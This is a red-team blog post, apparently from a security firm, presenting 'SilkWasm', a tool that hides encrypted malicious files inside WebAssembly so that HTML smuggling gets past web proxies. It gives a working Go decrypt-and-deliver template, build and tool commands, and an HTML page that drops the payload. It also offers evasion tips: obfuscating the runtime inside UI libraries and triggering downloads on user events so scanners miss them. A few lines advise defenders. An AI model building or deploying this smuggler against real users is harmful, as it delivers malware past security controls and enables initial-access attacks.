Back

The Silk Wasm: Obfuscating HTML Smuggling with Web Assembly

For those who aren’t familiar, HTML Smuggling is a technique which hides a blob inside a traditional HTML page. The aim is to bypass traditional detections for file downloads on the wire, such as a HTTP(S) GET request to an external domain for /maliciousmacro.doc. The technique does this by embedding the malicious file within the page, usually in a base64 encoded string. This means that no outbound request is made to an obviously bad file type, and instead the file is repacked into maliciousmacro.doc within the victim’s browser, this happens locally and thus bypasses common network-based detections.  

Traditionally the technique follows the following steps:

  1. User visits a link to smuggle.html. 
  2. Smuggle.html contains a secret blob, such as a base64 string of the payload. 
  3. The page once opened, runs a script which decodes (and maybe also decrypts) the base64 blob. 
  4. The file now formatted back into its original and executable form, is presented to the user as though it was an ordinary file download. Depending on the browser, they might also be prompted to save the file somewhere first. 

The technique was first demonstrated by Outflank in the following blog post.

There are numerous examples and variations of this technique publicly available, and it has frequently been abused by real world threat actors for several years.

Enter Web Assembly  

Instead of using JavaScript, this take on smuggling uses Web Assembly or Wasm (https://webassembly.org/). Simply put, Wasm allows you to write code in more traditional system languages such as C++, Rust and Go, and compile them to a format which will run in the browser.   

So why use Wasm?  

Early in 2023, a colleague and I were struggling to bypass a client proxy with our traditional HTML smuggling templates. It appeared to be identifying JavaScript which performed any sort of file decrypt and download locally. This meant that our existing smuggling payloads were failing to reach their users, who were also helpfully warned our page might contain malware.  

To bypass this detection, I looked for other methods of running code in the browser, that might not be quite so obvious and readable by a proxy. Wasm turned out to be perfect for this because it generates a format which is more akin to raw bytes — something much less fun to read than text-based JavaScript. It was also novel when compared to any other smuggling variations we could find, and novel techniques are always a blind spot for defensive products.   

Below is an example of what Golang-based, Wasm looks like in the VSCode Hex Editor:

Modifying Droppers for Wasm

At the time, I’d been working on a tool which quickly compiled example shellcode dropper examples written in Golang. I quickly realised that this might help us overcome the barrier for two reasons: 

  1. The go templates in this dropper generator already had the code to encrypt and decrypt an embedded base64 payload. 
  2. Golang is very easy to compile to Wasm. 

By creating a new “dropper” template which removed all the endpoint dropper code, such as process injection API calls, we had a working decrypt function. When compiled to Wasm, the decrypted data could then be passed to JavaScript just like any other file.  After some testing, we successfully used the modified Wasm smuggle to bypass the client’s defensive controls.

The Silk Wasm 

With this blog post, I’ve released a proof-of-concept tool called “SilkWasm” which generates the Wasm smuggle for you. To show you in more detail how this works, below is the It uses the following go template for the Wasm smuggle: 

package main 

import ( 
    "crypto/cipher" 
    "crypto/aes" 
    "encoding/base64" 
    "syscall/js" 
) 

func pkcs5Trimming(encrypt []byte) []byte { 
    padding := encrypt[len(encrypt)-1] 
    return encrypt[:len(encrypt)-int(padding)] 
} 

func aesDecrypt(key string, buf string) ([]byte, error) { 
    encKey, err := base64.StdEncoding.DecodeString(key) 
    if err != nil { 
        return nil, err 
    } 

    encBuf, err := base64.StdEncoding.DecodeString(buf) 
    if err != nil { 
        return nil, err 
    } 

    var block cipher.Block 

    block, err = aes.NewCipher(encKey) 
    if err != nil { 
        return nil, err 
    }

    if len(encBuf) < aes.BlockSize { 

        return nil, nil 
    } 
    iv := encBuf[:aes.BlockSize] 
    encBuf = encBuf[aes.BlockSize:] 
cbc := cipher.NewCBCDecrypter(block, iv) 
    cbc.CryptBlocks(encBuf, encBuf) 
    decBuf := pkcs5Trimming(encBuf) 

    return decBuf, nil 

} 

//I’m using the text/templates library to fill in the function name

func {{.FunctionName}}(this js.Value, args []js.Value) interface{}  {   

    bufstring := "{{.BufStr}}" 
    kstring := "{{.KeyStr}}" 

    imgbuf, err := aesDecrypt(kstring, bufstring) 
    if err != nil { 
        return nil 
    } 

    arrayConstructor := js.Global().Get("Uint8Array") 
    dataJS := arrayConstructor.New(len(imgbuf)) 

    js.CopyBytesToJS(dataJS, imgbuf) 

    return dataJS 
} 

func main() { 
    js.Global().Set("{{.FunctionName}}", js.FuncOf({{.FunctionName}})) 
    <-make(chan bool)// keep running 
} 

Once you’ve modified the above example, we can use the ordinary go compiler to generate our Wasm smuggling binary. Go is very easy to cross-compile for a wide variety of platforms, and so this step is fairly easy.

GOOS=js GOARCH=wasm go build -o test.wasm smuggle.go 

Here’s how we do the whole thing with Silkwasm, which does most of the work for you such as encrypting the file and filling in the function names, etc. It also includes flags which reduce the Wasm file size (or at least try to): 

./silkwasm smuggle -i maliciousmacro.doc

Now, we need to call our smuggling script in a HTML file, just like we would an ordinary JavaScript smuggle. However, because we used Go, we will need to embed the “wasm_exec.js” file, which is essentially a runtime to run Go-based Wasm. The JavaScript file for this is usually found in your go install folder (`$(go env GOROOT)/misc/wasm/wasm_exec.js`). 

<!DOCTYPE html> 
<html> 
<head> 
<script src="wasm_exec.js"></script> 
<script> 
    const go = new Go(); 
    //Modify to your WASM filename. 
    WebAssembly.instantiateStreaming(fetch("{{.WasmFileName}}"), go.importObject).then((result) => { 
        go.run(result.instance); 
    }); 
    function compImage() { 
        buffer = {{.FunctionName}}(); 
        var mrblobby = new Blob([buffer]); 
        var blobUrl=URL.createObjectURL(mrblobby); 
        document.getElementById("prr").hidden = !0; //div tag used for download 

        userAction.href=blobUrl; 
        userAction.download="{{.OutputFile}}"; //modify to your desired filename. 
        userAction.click(); 
    } 
</script> 
</head> 
<body> 
    <button onClick="compImage()">goSmuggle</button> 
    <div id="prr"><a id=userAction hidden><button></button></a></div> 
</body> 
</html> 

Now we’re safe to browse to our smuggle.html, once we click the goSmuggle button, our payload downloads:

Improving & Obfuscating the Smuggler 

If you want to use this in the wild, you are welcome to use Silkwasm. However, I would consider writing your own version from scratch in a Wasm compatible language of your choosing, as this’ll only help your version remain undetected.  

There are also definitely some areas that could be improved upon the default SilkWasm example:  

  1. Use the Rust or the [tinygo](https://tinygo.org/) compiler to reduce the size of the resulting Wasm file (SilkWasm supports tinygo provided it’s installed correctly). In practice the standard go compiler will sometimes produce 10MB+ Wasm files, which isn’t ideal if your target is running dial-up internet or pushing all traffic through exceptionally slow proxies designed to catch malware. 
  2. Minify/obfuscate your JavaScript code – one adjustment I often make to the wasm_exec.js is to embed it in some existing JavaScript such as some UI react library, and then minify. This makes it much more annoying for a defender to identify what the code is doing and helps ensure that the code looks different depending on the page/UI you are using. 
  3. Try to download based on some kind of user event, such as a user submitting a login form. To help with this, SilkWasm will by default generate a page with a button, however, it’s best to modify this to suit your pretext. This makes it harder for automated scanners to obtain your payload, as simply visiting the page does not immediately trigger a download of a malicious file. 

For defenders, the traditional detections for this technique mostly still apply, as the same browser API calls are used to save the file as they would be in a traditional smuggle. As always, strong application allow-listing and restrictions on files downloaded from the internet will significantly reduce the likelihood of success for an initial access payload. 

It should also be noted that the number of products which block traditional smuggling are rare, so the potential usefulness of this technique depends entirely on the maturity of the defensive team and their capability to identify malicious JavaScript.

Additional References

During the writing of this blog, this technique was also demonstrated by @au5_mate on twitter: (https://twitter.com/au5_mate/status/1755639584501780975). I’m not entirely sure if he uses go or another language for his example. Wasm smuggling can feasibly be performed in a variety of ways, with any language Wasm supports.  

Finally, I’d also like to point to another interesting Wasm based idea in Sliver C2, which is using Wasm modules to dynamically modify the encoding of C2 traffic. More info on that can be found in their documentation: https://sliver.sh/docs?name=Traffic%20Encoders 

Originally this technique was released in my previous tool Godropit (https://github.com/kopp0ut/godropit/). Credit is owed to the following repos for the dropper templates which I used to base the original shellcode loader templates on: 

Interested in learning more about NetSPI’s Red Team tactics? Check out these helpful resources: 

Discover how the NetSPI BAS solution helps organizations validate the efficacy of existing security controls and understand their Security Posture and Readiness.

X